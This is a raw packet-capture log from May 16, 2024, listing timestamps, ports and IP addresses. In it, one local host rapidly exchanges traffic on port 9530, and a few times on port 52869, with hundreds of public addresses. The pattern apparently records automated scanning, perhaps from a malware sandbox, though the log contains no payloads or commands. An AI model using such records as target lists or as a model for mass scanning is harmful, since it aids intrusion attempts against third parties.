May 16, 2024 16:38:52.997427940 CEST	9530	55095	113.150.7.235	192.168.2.23
May 16, 2024 16:38:52.997437000 CEST	9530	55095	59.236.188.114	192.168.2.23
May 16, 2024 16:38:52.997437954 CEST	55095	9530	192.168.2.23	107.97.227.152
May 16, 2024 16:38:52.997438908 CEST	55095	9530	192.168.2.23	51.5.143.110
May 16, 2024 16:38:52.997446060 CEST	9530	55095	76.42.208.45	192.168.2.23
May 16, 2024 16:38:52.997447014 CEST	55095	9530	192.168.2.23	61.149.238.168
May 16, 2024 16:38:52.997456074 CEST	9530	55095	1.60.56.21	192.168.2.23
May 16, 2024 16:38:52.997459888 CEST	55095	9530	192.168.2.23	59.236.188.114
May 16, 2024 16:38:52.997462988 CEST	55095	9530	192.168.2.23	113.150.7.235
May 16, 2024 16:38:52.997464895 CEST	9530	55095	216.165.92.193	192.168.2.23
May 16, 2024 16:38:52.997474909 CEST	55095	9530	192.168.2.23	76.42.208.45
May 16, 2024 16:38:52.997477055 CEST	9530	55095	213.130.171.165	192.168.2.23
May 16, 2024 16:38:52.997488022 CEST	9530	55095	83.15.136.227	192.168.2.23
May 16, 2024 16:38:52.997488022 CEST	55095	9530	192.168.2.23	1.60.56.21
May 16, 2024 16:38:52.997498035 CEST	9530	55095	34.135.169.122	192.168.2.23
May 16, 2024 16:38:52.997505903 CEST	9530	55095	63.53.13.143	192.168.2.23
May 16, 2024 16:38:52.997509956 CEST	55095	9530	192.168.2.23	216.165.92.193
May 16, 2024 16:38:52.997510910 CEST	9530	55095	14.27.184.203	192.168.2.23
May 16, 2024 16:38:52.997519970 CEST	9530	55095	78.198.137.185	192.168.2.23
May 16, 2024 16:38:52.997540951 CEST	55095	9530	192.168.2.23	34.135.169.122
May 16, 2024 16:38:52.997543097 CEST	55095	9530	192.168.2.23	213.130.171.165
May 16, 2024 16:38:52.997543097 CEST	55095	9530	192.168.2.23	83.15.136.227
May 16, 2024 16:38:52.997545004 CEST	9530	55095	87.0.7.105	192.168.2.23
May 16, 2024 16:38:52.997558117 CEST	55095	9530	192.168.2.23	14.27.184.203
May 16, 2024 16:38:52.997586012 CEST	55095	9530	192.168.2.23	63.53.13.143
May 16, 2024 16:38:52.997586012 CEST	55095	9530	192.168.2.23	78.198.137.185
May 16, 2024 16:38:52.997622013 CEST	55095	9530	192.168.2.23	87.0.7.105
May 16, 2024 16:38:52.997706890 CEST	9530	55095	122.82.186.234	192.168.2.23
May 16, 2024 16:38:52.997723103 CEST	9530	55095	93.88.137.233	192.168.2.23
May 16, 2024 16:38:52.997728109 CEST	9530	55095	202.104.71.65	192.168.2.23
May 16, 2024 16:38:52.997734070 CEST	9530	55095	49.40.163.226	192.168.2.23
May 16, 2024 16:38:52.997740030 CEST	9530	55095	35.223.171.237	192.168.2.23
May 16, 2024 16:38:52.997741938 CEST	9530	55095	97.188.190.200	192.168.2.23
May 16, 2024 16:38:52.997742891 CEST	9530	55095	135.146.237.1	192.168.2.23
May 16, 2024 16:38:52.997746944 CEST	9530	55095	207.175.142.235	192.168.2.23
May 16, 2024 16:38:52.997749090 CEST	9530	55095	200.67.100.137	192.168.2.23
May 16, 2024 16:38:52.997750998 CEST	55095	9530	192.168.2.23	122.82.186.234
May 16, 2024 16:38:52.997750998 CEST	55095	9530	192.168.2.23	93.88.137.233
May 16, 2024 16:38:52.997752905 CEST	9530	55095	160.54.173.176	192.168.2.23
May 16, 2024 16:38:52.997759104 CEST	9530	55095	92.136.97.227	192.168.2.23
May 16, 2024 16:38:52.997761011 CEST	9530	55095	177.78.24.128	192.168.2.23
May 16, 2024 16:38:52.997761965 CEST	9530	55095	135.170.127.1	192.168.2.23
May 16, 2024 16:38:52.997767925 CEST	55095	9530	192.168.2.23	97.188.190.200
May 16, 2024 16:38:52.997771978 CEST	9530	55095	14.123.192.66	192.168.2.23
May 16, 2024 16:38:52.997772932 CEST	55095	9530	192.168.2.23	202.104.71.65
May 16, 2024 16:38:52.997772932 CEST	55095	9530	192.168.2.23	49.40.163.226
May 16, 2024 16:38:52.997781992 CEST	9530	55095	208.66.206.16	192.168.2.23
May 16, 2024 16:38:52.997782946 CEST	55095	9530	192.168.2.23	135.146.237.1
May 16, 2024 16:38:52.997782946 CEST	55095	9530	192.168.2.23	207.175.142.235
May 16, 2024 16:38:52.997782946 CEST	55095	9530	192.168.2.23	35.223.171.237
May 16, 2024 16:38:52.997792006 CEST	9530	55095	80.61.45.210	192.168.2.23
May 16, 2024 16:38:52.997793913 CEST	55095	9530	192.168.2.23	160.54.173.176
May 16, 2024 16:38:52.997800112 CEST	55095	9530	192.168.2.23	135.170.127.1
May 16, 2024 16:38:52.997800112 CEST	55095	9530	192.168.2.23	177.78.24.128
May 16, 2024 16:38:52.997801065 CEST	55095	9530	192.168.2.23	200.67.100.137
May 16, 2024 16:38:52.997801065 CEST	55095	9530	192.168.2.23	92.136.97.227
May 16, 2024 16:38:52.997802973 CEST	9530	55095	72.70.10.69	192.168.2.23
May 16, 2024 16:38:52.997812986 CEST	9530	55095	201.132.149.1	192.168.2.23
May 16, 2024 16:38:52.997813940 CEST	55095	9530	192.168.2.23	14.123.192.66
May 16, 2024 16:38:52.997814894 CEST	55095	9530	192.168.2.23	208.66.206.16
May 16, 2024 16:38:52.997821093 CEST	55095	9530	192.168.2.23	80.61.45.210
May 16, 2024 16:38:52.997822046 CEST	9530	55095	5.188.87.226	192.168.2.23
May 16, 2024 16:38:52.997836113 CEST	55095	9530	192.168.2.23	72.70.10.69
May 16, 2024 16:38:52.997838020 CEST	9530	55095	153.42.206.238	192.168.2.23
May 16, 2024 16:38:52.997848034 CEST	9530	55095	20.205.174.84	192.168.2.23
May 16, 2024 16:38:52.997848034 CEST	55095	9530	192.168.2.23	201.132.149.1
May 16, 2024 16:38:52.997850895 CEST	55095	9530	192.168.2.23	5.188.87.226
May 16, 2024 16:38:52.997874975 CEST	55095	9530	192.168.2.23	153.42.206.238
May 16, 2024 16:38:52.998091936 CEST	55095	9530	192.168.2.23	20.205.174.84
May 16, 2024 16:38:52.998512983 CEST	9530	55095	134.127.82.165	192.168.2.23
May 16, 2024 16:38:52.998528957 CEST	9530	55095	98.188.219.30	192.168.2.23
May 16, 2024 16:38:52.998534918 CEST	9530	55095	182.149.31.185	192.168.2.23
May 16, 2024 16:38:52.998541117 CEST	9530	55095	171.188.72.194	192.168.2.23
May 16, 2024 16:38:52.998545885 CEST	9530	55095	117.135.40.200	192.168.2.23
May 16, 2024 16:38:52.998548985 CEST	55095	9530	192.168.2.23	134.127.82.165
May 16, 2024 16:38:52.998550892 CEST	9530	55095	183.216.165.160	192.168.2.23
May 16, 2024 16:38:52.998555899 CEST	9530	55095	82.203.43.84	192.168.2.23
May 16, 2024 16:38:52.998558044 CEST	9530	55095	110.17.156.221	192.168.2.23
May 16, 2024 16:38:52.998558998 CEST	9530	55095	65.102.210.250	192.168.2.23
May 16, 2024 16:38:52.998560905 CEST	9530	55095	39.112.169.115	192.168.2.23
May 16, 2024 16:38:52.998563051 CEST	9530	55095	120.152.153.61	192.168.2.23
May 16, 2024 16:38:52.998564005 CEST	9530	55095	75.70.201.48	192.168.2.23
May 16, 2024 16:38:52.998568058 CEST	55095	9530	192.168.2.23	98.188.219.30
May 16, 2024 16:38:52.998569012 CEST	9530	55095	165.74.2.172	192.168.2.23
May 16, 2024 16:38:52.998568058 CEST	55095	9530	192.168.2.23	182.149.31.185
May 16, 2024 16:38:52.998573065 CEST	55095	9530	192.168.2.23	171.188.72.194
May 16, 2024 16:38:52.998588085 CEST	55095	9530	192.168.2.23	117.135.40.200
May 16, 2024 16:38:52.998591900 CEST	9530	55095	131.227.92.207	192.168.2.23
May 16, 2024 16:38:52.998601913 CEST	55095	9530	192.168.2.23	183.216.165.160
May 16, 2024 16:38:52.998603106 CEST	9530	55095	49.221.80.241	192.168.2.23
May 16, 2024 16:38:52.998603106 CEST	55095	9530	192.168.2.23	75.70.201.48
May 16, 2024 16:38:52.998609066 CEST	55095	9530	192.168.2.23	82.203.43.84
May 16, 2024 16:38:52.998609066 CEST	55095	9530	192.168.2.23	120.152.153.61
May 16, 2024 16:38:52.998614073 CEST	9530	55095	161.35.193.109	192.168.2.23
May 16, 2024 16:38:52.998624086 CEST	55095	9530	192.168.2.23	110.17.156.221
May 16, 2024 16:38:52.998624086 CEST	9530	55095	135.215.32.13	192.168.2.23
May 16, 2024 16:38:52.998627901 CEST	55095	9530	192.168.2.23	65.102.210.250
May 16, 2024 16:38:52.998636961 CEST	9530	55095	155.84.230.89	192.168.2.23
May 16, 2024 16:38:52.998640060 CEST	55095	9530	192.168.2.23	161.35.193.109
May 16, 2024 16:38:52.998641014 CEST	9530	55095	114.187.134.148	192.168.2.23
May 16, 2024 16:38:52.998644114 CEST	55095	9530	192.168.2.23	131.227.92.207
May 16, 2024 16:38:52.998645067 CEST	55095	9530	192.168.2.23	39.112.169.115
May 16, 2024 16:38:52.998645067 CEST	55095	9530	192.168.2.23	165.74.2.172
May 16, 2024 16:38:52.998645067 CEST	55095	9530	192.168.2.23	49.221.80.241
May 16, 2024 16:38:52.998653889 CEST	55095	9530	192.168.2.23	155.84.230.89
May 16, 2024 16:38:52.998656034 CEST	9530	55095	160.140.128.40	192.168.2.23
May 16, 2024 16:38:52.998672009 CEST	55095	9530	192.168.2.23	114.187.134.148
May 16, 2024 16:38:52.998681068 CEST	9530	55095	131.163.71.52	192.168.2.23
May 16, 2024 16:38:52.998688936 CEST	9530	55095	91.204.40.222	192.168.2.23
May 16, 2024 16:38:52.998689890 CEST	55095	9530	192.168.2.23	135.215.32.13
May 16, 2024 16:38:52.998693943 CEST	9530	55095	164.24.184.72	192.168.2.23
May 16, 2024 16:38:52.998699903 CEST	9530	55095	216.62.192.234	192.168.2.23
May 16, 2024 16:38:52.998701096 CEST	55095	9530	192.168.2.23	160.140.128.40
May 16, 2024 16:38:52.998706102 CEST	9530	55095	219.130.96.172	192.168.2.23
May 16, 2024 16:38:52.998708010 CEST	9530	55095	209.231.14.157	192.168.2.23
May 16, 2024 16:38:52.998708963 CEST	9530	55095	139.180.82.114	192.168.2.23
May 16, 2024 16:38:52.998711109 CEST	9530	55095	89.230.118.111	192.168.2.23
May 16, 2024 16:38:52.998713017 CEST	9530	55095	107.212.51.251	192.168.2.23
May 16, 2024 16:38:52.998717070 CEST	55095	9530	192.168.2.23	131.163.71.52
May 16, 2024 16:38:52.998718023 CEST	9530	55095	119.200.190.10	192.168.2.23
May 16, 2024 16:38:52.998722076 CEST	55095	9530	192.168.2.23	91.204.40.222
May 16, 2024 16:38:52.998723984 CEST	55095	9530	192.168.2.23	164.24.184.72
May 16, 2024 16:38:52.998732090 CEST	9530	55095	204.241.124.149	192.168.2.23
May 16, 2024 16:38:52.998742104 CEST	9530	55095	204.110.125.12	192.168.2.23
May 16, 2024 16:38:52.998750925 CEST	9530	55095	201.11.102.49	192.168.2.23
May 16, 2024 16:38:52.998750925 CEST	55095	9530	192.168.2.23	216.62.192.234
May 16, 2024 16:38:52.998752117 CEST	55095	9530	192.168.2.23	119.200.190.10
May 16, 2024 16:38:52.998754978 CEST	55095	9530	192.168.2.23	219.130.96.172
May 16, 2024 16:38:52.998754978 CEST	9530	55095	154.214.174.176	192.168.2.23
May 16, 2024 16:38:52.998759985 CEST	9530	55095	4.121.106.16	192.168.2.23
May 16, 2024 16:38:52.998761892 CEST	55095	9530	192.168.2.23	107.212.51.251
May 16, 2024 16:38:52.998764992 CEST	55095	9530	192.168.2.23	209.231.14.157
May 16, 2024 16:38:52.998768091 CEST	55095	9530	192.168.2.23	139.180.82.114
May 16, 2024 16:38:52.998778105 CEST	55095	9530	192.168.2.23	204.241.124.149
May 16, 2024 16:38:52.998778105 CEST	9530	55095	92.61.3.78	192.168.2.23
May 16, 2024 16:38:52.998780966 CEST	55095	9530	192.168.2.23	154.214.174.176
May 16, 2024 16:38:52.998783112 CEST	55095	9530	192.168.2.23	89.230.118.111
May 16, 2024 16:38:52.998789072 CEST	9530	55095	51.211.204.85	192.168.2.23
May 16, 2024 16:38:52.998800039 CEST	9530	55095	93.205.240.208	192.168.2.23
May 16, 2024 16:38:52.998814106 CEST	55095	9530	192.168.2.23	204.110.125.12
May 16, 2024 16:38:52.998815060 CEST	9530	55095	137.177.16.182	192.168.2.23
May 16, 2024 16:38:52.998819113 CEST	55095	9530	192.168.2.23	4.121.106.16
May 16, 2024 16:38:52.998821974 CEST	55095	9530	192.168.2.23	201.11.102.49
May 16, 2024 16:38:52.998821974 CEST	55095	9530	192.168.2.23	92.61.3.78
May 16, 2024 16:38:52.998828888 CEST	9530	55095	62.196.229.8	192.168.2.23
May 16, 2024 16:38:52.998836040 CEST	9530	55095	151.203.143.40	192.168.2.23
May 16, 2024 16:38:52.998842001 CEST	55095	9530	192.168.2.23	51.211.204.85
May 16, 2024 16:38:52.998842001 CEST	55095	9530	192.168.2.23	137.177.16.182
May 16, 2024 16:38:52.998843908 CEST	55095	9530	192.168.2.23	93.205.240.208
May 16, 2024 16:38:52.998861074 CEST	55095	9530	192.168.2.23	151.203.143.40
May 16, 2024 16:38:52.998862028 CEST	55095	9530	192.168.2.23	62.196.229.8
May 16, 2024 16:38:52.998910904 CEST	9530	55095	206.166.224.227	192.168.2.23
May 16, 2024 16:38:52.998923063 CEST	9530	55095	147.151.132.103	192.168.2.23
May 16, 2024 16:38:52.998927116 CEST	9530	55095	82.234.248.246	192.168.2.23
May 16, 2024 16:38:52.998931885 CEST	9530	55095	53.218.169.164	192.168.2.23
May 16, 2024 16:38:52.998944044 CEST	9530	55095	5.67.50.79	192.168.2.23
May 16, 2024 16:38:52.998964071 CEST	55095	9530	192.168.2.23	53.218.169.164
May 16, 2024 16:38:52.998965025 CEST	55095	9530	192.168.2.23	206.166.224.227
May 16, 2024 16:38:52.998966932 CEST	55095	9530	192.168.2.23	147.151.132.103
May 16, 2024 16:38:52.998971939 CEST	55095	9530	192.168.2.23	82.234.248.246
May 16, 2024 16:38:52.998975039 CEST	55095	9530	192.168.2.23	5.67.50.79
May 16, 2024 16:38:52.999181032 CEST	59696	52869	192.168.2.23	2.118.203.229
May 16, 2024 16:38:52.999274969 CEST	9530	55095	139.152.74.116	192.168.2.23
May 16, 2024 16:38:52.999280930 CEST	9530	55095	143.200.177.57	192.168.2.23
May 16, 2024 16:38:52.999285936 CEST	9530	55095	79.82.185.112	192.168.2.23
May 16, 2024 16:38:52.999288082 CEST	9530	55095	1.63.60.182	192.168.2.23
May 16, 2024 16:38:52.999293089 CEST	9530	55095	66.255.63.179	192.168.2.23
May 16, 2024 16:38:52.999296904 CEST	9530	55095	160.250.134.15	192.168.2.23
May 16, 2024 16:38:52.999301910 CEST	9530	55095	223.250.183.199	192.168.2.23
May 16, 2024 16:38:52.999306917 CEST	9530	55095	60.127.15.182	192.168.2.23
May 16, 2024 16:38:52.999310017 CEST	55095	9530	192.168.2.23	139.152.74.116
May 16, 2024 16:38:52.999313116 CEST	9530	55095	125.154.23.2	192.168.2.23
May 16, 2024 16:38:52.999313116 CEST	55095	9530	192.168.2.23	79.82.185.112
May 16, 2024 16:38:52.999316931 CEST	9530	55095	219.18.158.38	192.168.2.23
May 16, 2024 16:38:52.999322891 CEST	9530	55095	116.202.213.205	192.168.2.23
May 16, 2024 16:38:52.999327898 CEST	9530	55095	44.94.250.159	192.168.2.23
May 16, 2024 16:38:52.999331951 CEST	55095	9530	192.168.2.23	66.255.63.179
May 16, 2024 16:38:52.999331951 CEST	55095	9530	192.168.2.23	160.250.134.15
May 16, 2024 16:38:52.999334097 CEST	9530	55095	209.208.108.50	192.168.2.23
May 16, 2024 16:38:52.999336004 CEST	55095	9530	192.168.2.23	143.200.177.57
May 16, 2024 16:38:52.999337912 CEST	55095	9530	192.168.2.23	1.63.60.182
May 16, 2024 16:38:52.999337912 CEST	55095	9530	192.168.2.23	223.250.183.199
May 16, 2024 16:38:52.999337912 CEST	55095	9530	192.168.2.23	60.127.15.182
May 16, 2024 16:38:52.999339104 CEST	9530	55095	27.249.174.202	192.168.2.23
May 16, 2024 16:38:52.999345064 CEST	9530	55095	153.152.68.118	192.168.2.23
May 16, 2024 16:38:52.999350071 CEST	9530	55095	194.222.152.64	192.168.2.23
May 16, 2024 16:38:52.999351978 CEST	9530	55095	124.14.209.205	192.168.2.23
May 16, 2024 16:38:52.999353886 CEST	9530	55095	19.173.188.17	192.168.2.23
May 16, 2024 16:38:52.999357939 CEST	9530	55095	87.224.18.39	192.168.2.23
May 16, 2024 16:38:52.999358892 CEST	55095	9530	192.168.2.23	125.154.23.2
May 16, 2024 16:38:52.999358892 CEST	55095	9530	192.168.2.23	116.202.213.205
May 16, 2024 16:38:52.999362946 CEST	9530	55095	109.48.183.51	192.168.2.23
May 16, 2024 16:38:52.999370098 CEST	55095	9530	192.168.2.23	27.249.174.202
May 16, 2024 16:38:52.999370098 CEST	55095	9530	192.168.2.23	209.208.108.50
May 16, 2024 16:38:52.999377966 CEST	55095	9530	192.168.2.23	219.18.158.38
May 16, 2024 16:38:52.999377966 CEST	55095	9530	192.168.2.23	44.94.250.159
May 16, 2024 16:38:52.999393940 CEST	55095	9530	192.168.2.23	109.48.183.51
May 16, 2024 16:38:52.999397039 CEST	55095	9530	192.168.2.23	153.152.68.118
May 16, 2024 16:38:52.999397993 CEST	55095	9530	192.168.2.23	194.222.152.64
May 16, 2024 16:38:52.999406099 CEST	55095	9530	192.168.2.23	124.14.209.205
May 16, 2024 16:38:52.999412060 CEST	55095	9530	192.168.2.23	19.173.188.17
May 16, 2024 16:38:52.999429941 CEST	55095	9530	192.168.2.23	87.224.18.39
May 16, 2024 16:38:53.000027895 CEST	53770	52869	192.168.2.23	44.28.226.10
May 16, 2024 16:38:53.000108957 CEST	9530	55095	108.118.160.133	192.168.2.23
May 16, 2024 16:38:53.000123978 CEST	9530	55095	166.3.183.99	192.168.2.23
May 16, 2024 16:38:53.000133038 CEST	9530	55095	108.148.229.117	192.168.2.23
May 16, 2024 16:38:53.000135899 CEST	55095	9530	192.168.2.23	108.118.160.133
May 16, 2024 16:38:53.000138998 CEST	9530	55095	161.236.227.43	192.168.2.23
May 16, 2024 16:38:53.000139952 CEST	9530	55095	205.57.195.148	192.168.2.23
May 16, 2024 16:38:53.000142097 CEST	9530	55095	142.24.191.15	192.168.2.23
May 16, 2024 16:38:53.000147104 CEST	9530	55095	177.40.243.7	192.168.2.23
May 16, 2024 16:38:53.000153065 CEST	9530	55095	38.115.228.225	192.168.2.23
May 16, 2024 16:38:53.000158072 CEST	9530	55095	5.245.69.111	192.168.2.23
May 16, 2024 16:38:53.000159979 CEST	9530	55095	203.132.14.226	192.168.2.23
May 16, 2024 16:38:53.000161886 CEST	9530	55095	132.92.159.27	192.168.2.23
May 16, 2024 16:38:53.000166893 CEST	9530	55095	59.11.255.208	192.168.2.23
May 16, 2024 16:38:53.000170946 CEST	55095	9530	192.168.2.23	166.3.183.99
May 16, 2024 16:38:53.000171900 CEST	9530	55095	85.177.203.161	192.168.2.23
May 16, 2024 16:38:53.000170946 CEST	55095	9530	192.168.2.23	161.236.227.43
May 16, 2024 16:38:53.000176907 CEST	9530	55095	202.19.118.64	192.168.2.23
May 16, 2024 16:38:53.000185013 CEST	55095	9530	192.168.2.23	108.148.229.117
May 16, 2024 16:38:53.000186920 CEST	9530	55095	133.125.40.42	192.168.2.23
May 16, 2024 16:38:53.000190973 CEST	55095	9530	192.168.2.23	142.24.191.15
May 16, 2024 16:38:53.000190973 CEST	55095	9530	192.168.2.23	205.57.195.148
May 16, 2024 16:38:53.000195026 CEST	9530	55095	70.127.68.99	192.168.2.23
May 16, 2024 16:38:53.000197887 CEST	55095	9530	192.168.2.23	177.40.243.7
May 16, 2024 16:38:53.000201941 CEST	9530	55095	47.174.50.5	192.168.2.23
May 16, 2024 16:38:53.000206947 CEST	9530	55095	27.187.98.41	192.168.2.23
May 16, 2024 16:38:53.000212908 CEST	9530	55095	171.57.207.12	192.168.2.23
May 16, 2024 16:38:53.000215054 CEST	55095	9530	192.168.2.23	38.115.228.225
May 16, 2024 16:38:53.000216961 CEST	55095	9530	192.168.2.23	202.19.118.64
May 16, 2024 16:38:53.000217915 CEST	55095	9530	192.168.2.23	203.132.14.226
May 16, 2024 16:38:53.000217915 CEST	9530	55095	92.226.65.43	192.168.2.23
May 16, 2024 16:38:53.000220060 CEST	55095	9530	192.168.2.23	59.11.255.208
May 16, 2024 16:38:53.000231981 CEST	55095	9530	192.168.2.23	133.125.40.42
May 16, 2024 16:38:53.000231981 CEST	55095	9530	192.168.2.23	70.127.68.99
May 16, 2024 16:38:53.000247002 CEST	55095	9530	192.168.2.23	132.92.159.27
May 16, 2024 16:38:53.000247002 CEST	55095	9530	192.168.2.23	47.174.50.5
May 16, 2024 16:38:53.000247002 CEST	55095	9530	192.168.2.23	5.245.69.111
May 16, 2024 16:38:53.000257969 CEST	55095	9530	192.168.2.23	85.177.203.161
May 16, 2024 16:38:53.000260115 CEST	55095	9530	192.168.2.23	27.187.98.41
May 16, 2024 16:38:53.000262022 CEST	55095	9530	192.168.2.23	171.57.207.12
May 16, 2024 16:38:53.000299931 CEST	55095	9530	192.168.2.23	92.226.65.43
May 16, 2024 16:38:53.000737906 CEST	9530	55095	82.147.47.220	192.168.2.23
May 16, 2024 16:38:53.000751019 CEST	9530	55095	27.250.1.18	192.168.2.23
May 16, 2024 16:38:53.000763893 CEST	9530	55095	210.58.94.86	192.168.2.23
May 16, 2024 16:38:53.000777960 CEST	9530	55095	166.76.120.111	192.168.2.23
May 16, 2024 16:38:53.000790119 CEST	9530	55095	142.77.37.59	192.168.2.23
May 16, 2024 16:38:53.000799894 CEST	9530	55095	23.190.175.95	192.168.2.23
May 16, 2024 16:38:53.000799894 CEST	55095	9530	192.168.2.23	82.147.47.220
May 16, 2024 16:38:53.000799894 CEST	55095	9530	192.168.2.23	210.58.94.86
May 16, 2024 16:38:53.000799894 CEST	55095	9530	192.168.2.23	27.250.1.18
May 16, 2024 16:38:53.000811100 CEST	9530	55095	125.12.134.233	192.168.2.23
May 16, 2024 16:38:53.000822067 CEST	9530	55095	190.53.162.38	192.168.2.23
May 16, 2024 16:38:53.000835896 CEST	55095	9530	192.168.2.23	125.12.134.233
May 16, 2024 16:38:53.000847101 CEST	55095	9530	192.168.2.23	166.76.120.111
May 16, 2024 16:38:53.000847101 CEST	55095	9530	192.168.2.23	142.77.37.59
May 16, 2024 16:38:53.000847101 CEST	55095	9530	192.168.2.23	23.190.175.95
May 16, 2024 16:38:53.000847101 CEST	55095	9530	192.168.2.23	190.53.162.38
May 16, 2024 16:38:53.000852108 CEST	9530	55095	68.246.225.118	192.168.2.23
May 16, 2024 16:38:53.000863075 CEST	9530	55095	36.62.243.106	192.168.2.23
May 16, 2024 16:38:53.000874043 CEST	9530	55095	187.211.236.130	192.168.2.23
May 16, 2024 16:38:53.000885963 CEST	9530	55095	160.189.221.212	192.168.2.23
May 16, 2024 16:38:53.000889063 CEST	55095	9530	192.168.2.23	68.246.225.118
May 16, 2024 16:38:53.000895977 CEST	55095	9530	192.168.2.23	36.62.243.106
May 16, 2024 16:38:53.000899076 CEST	9530	55095	68.19.127.100	192.168.2.23
May 16, 2024 16:38:53.000906944 CEST	9530	55095	93.68.245.247	192.168.2.23
May 16, 2024 16:38:53.000909090 CEST	9530	55095	217.36.142.185	192.168.2.23
May 16, 2024 16:38:53.000910997 CEST	9530	55095	109.51.116.245	192.168.2.23
May 16, 2024 16:38:53.000911951 CEST	55095	9530	192.168.2.23	187.211.236.130
May 16, 2024 16:38:53.000911951 CEST	9530	55095	221.252.58.75	192.168.2.23
May 16, 2024 16:38:53.000919104 CEST	55095	9530	192.168.2.23	160.189.221.212
May 16, 2024 16:38:53.000925064 CEST	9530	55095	42.33.213.111	192.168.2.23
May 16, 2024 16:38:53.000940084 CEST	55095	9530	192.168.2.23	68.19.127.100
May 16, 2024 16:38:53.000942945 CEST	9530	55095	49.61.21.47	192.168.2.23
May 16, 2024 16:38:53.000948906 CEST	9530	55095	190.186.108.96	192.168.2.23
May 16, 2024 16:38:53.000951052 CEST	9530	55095	157.79.114.49	192.168.2.23
May 16, 2024 16:38:53.000953913 CEST	55095	9530	192.168.2.23	93.68.245.247
May 16, 2024 16:38:53.000956059 CEST	9530	55095	73.198.29.194	192.168.2.23
May 16, 2024 16:38:53.000957012 CEST	9530	55095	199.164.83.28	192.168.2.23
May 16, 2024 16:38:53.000958920 CEST	9530	55095	128.141.222.172	192.168.2.23
May 16, 2024 16:38:53.000960112 CEST	9530	55095	130.30.92.89	192.168.2.23
May 16, 2024 16:38:53.000965118 CEST	9530	55095	104.102.181.200	192.168.2.23
May 16, 2024 16:38:53.000971079 CEST	55095	9530	192.168.2.23	217.36.142.185
May 16, 2024 16:38:53.000972033 CEST	55095	9530	192.168.2.23	42.33.213.111
May 16, 2024 16:38:53.000972033 CEST	55095	9530	192.168.2.23	190.186.108.96
May 16, 2024 16:38:53.000973940 CEST	55095	9530	192.168.2.23	221.252.58.75
May 16, 2024 16:38:53.000982046 CEST	9530	55095	110.236.244.215	192.168.2.23
May 16, 2024 16:38:53.000992060 CEST	9530	55095	18.173.89.185	192.168.2.23
May 16, 2024 16:38:53.000993013 CEST	55095	9530	192.168.2.23	49.61.21.47
May 16, 2024 16:38:53.000993013 CEST	55095	9530	192.168.2.23	157.79.114.49
May 16, 2024 16:38:53.000996113 CEST	55095	9530	192.168.2.23	109.51.116.245
May 16, 2024 16:38:53.000996113 CEST	55095	9530	192.168.2.23	199.164.83.28
May 16, 2024 16:38:53.000997066 CEST	55095	9530	192.168.2.23	73.198.29.194
May 16, 2024 16:38:53.000997066 CEST	55095	9530	192.168.2.23	130.30.92.89
May 16, 2024 16:38:53.001002073 CEST	9530	55095	166.226.128.77	192.168.2.23
May 16, 2024 16:38:53.001017094 CEST	55095	9530	192.168.2.23	104.102.181.200
May 16, 2024 16:38:53.001019955 CEST	55095	9530	192.168.2.23	110.236.244.215
May 16, 2024 16:38:53.001023054 CEST	9530	55095	153.199.16.26	192.168.2.23
May 16, 2024 16:38:53.001029015 CEST	55095	9530	192.168.2.23	18.173.89.185
May 16, 2024 16:38:53.001029015 CEST	9530	55095	159.34.80.189	192.168.2.23
May 16, 2024 16:38:53.001030922 CEST	9530	55095	150.200.93.163	192.168.2.23
May 16, 2024 16:38:53.001038074 CEST	9530	55095	50.63.227.18	192.168.2.23
May 16, 2024 16:38:53.001043081 CEST	55095	9530	192.168.2.23	128.141.222.172
May 16, 2024 16:38:53.001043081 CEST	9530	55095	141.232.15.52	192.168.2.23
May 16, 2024 16:38:53.001048088 CEST	9530	55095	84.40.7.182	192.168.2.23
May 16, 2024 16:38:53.001054049 CEST	9530	55095	168.229.222.120	192.168.2.23
May 16, 2024 16:38:53.001059055 CEST	9530	55095	150.88.171.163	192.168.2.23
May 16, 2024 16:38:53.001060963 CEST	55095	9530	192.168.2.23	166.226.128.77
May 16, 2024 16:38:53.001060963 CEST	55095	9530	192.168.2.23	150.200.93.163
May 16, 2024 16:38:53.001055956 CEST	55095	9530	192.168.2.23	153.199.16.26
May 16, 2024 16:38:53.001065016 CEST	9530	55095	185.158.0.67	192.168.2.23
May 16, 2024 16:38:53.001070023 CEST	9530	55095	63.131.194.136	192.168.2.23
May 16, 2024 16:38:53.001072884 CEST	55095	9530	192.168.2.23	50.63.227.18
May 16, 2024 16:38:53.001072884 CEST	55095	9530	192.168.2.23	84.40.7.182
May 16, 2024 16:38:53.001075983 CEST	9530	55095	169.10.167.183	192.168.2.23
May 16, 2024 16:38:53.001079082 CEST	55095	9530	192.168.2.23	141.232.15.52
May 16, 2024 16:38:53.001081944 CEST	9530	55095	144.41.193.237	192.168.2.23
May 16, 2024 16:38:53.001086950 CEST	55095	9530	192.168.2.23	168.229.222.120
May 16, 2024 16:38:53.001090050 CEST	55095	9530	192.168.2.23	159.34.80.189
May 16, 2024 16:38:53.001090050 CEST	55095	9530	192.168.2.23	150.88.171.163
May 16, 2024 16:38:53.001105070 CEST	55095	9530	192.168.2.23	185.158.0.67
May 16, 2024 16:38:53.001105070 CEST	55095	9530	192.168.2.23	63.131.194.136
May 16, 2024 16:38:53.001115084 CEST	55095	9530	192.168.2.23	144.41.193.237
May 16, 2024 16:38:53.001164913 CEST	55095	9530	192.168.2.23	169.10.167.183
May 16, 2024 16:38:53.001578093 CEST	9530	55095	150.206.220.209	192.168.2.23
May 16, 2024 16:38:53.001591921 CEST	9530	55095	204.72.55.86	192.168.2.23
May 16, 2024 16:38:53.001605034 CEST	9530	55095	19.80.170.166	192.168.2.23
May 16, 2024 16:38:53.001615047 CEST	9530	55095	157.196.234.253	192.168.2.23
May 16, 2024 16:38:53.001617908 CEST	55095	9530	192.168.2.23	150.206.220.209
May 16, 2024 16:38:53.001620054 CEST	9530	55095	218.182.210.238	192.168.2.23
May 16, 2024 16:38:53.001621008 CEST	55095	9530	192.168.2.23	204.72.55.86
May 16, 2024 16:38:53.001635075 CEST	9530	55095	35.129.199.18	192.168.2.23
May 16, 2024 16:38:53.001636982 CEST	9530	55095	124.167.211.252	192.168.2.23
May 16, 2024 16:38:53.001637936 CEST	9530	55095	160.127.13.50	192.168.2.23
May 16, 2024 16:38:53.001648903 CEST	9530	55095	41.131.48.121	192.168.2.23
May 16, 2024 16:38:53.001658916 CEST	55095	9530	192.168.2.23	157.196.234.253
May 16, 2024 16:38:53.001662016 CEST	55095	9530	192.168.2.23	35.129.199.18
May 16, 2024 16:38:53.001665115 CEST	9530	55095	61.141.60.21	192.168.2.23
May 16, 2024 16:38:53.001672029 CEST	9530	55095	42.63.4.50	192.168.2.23
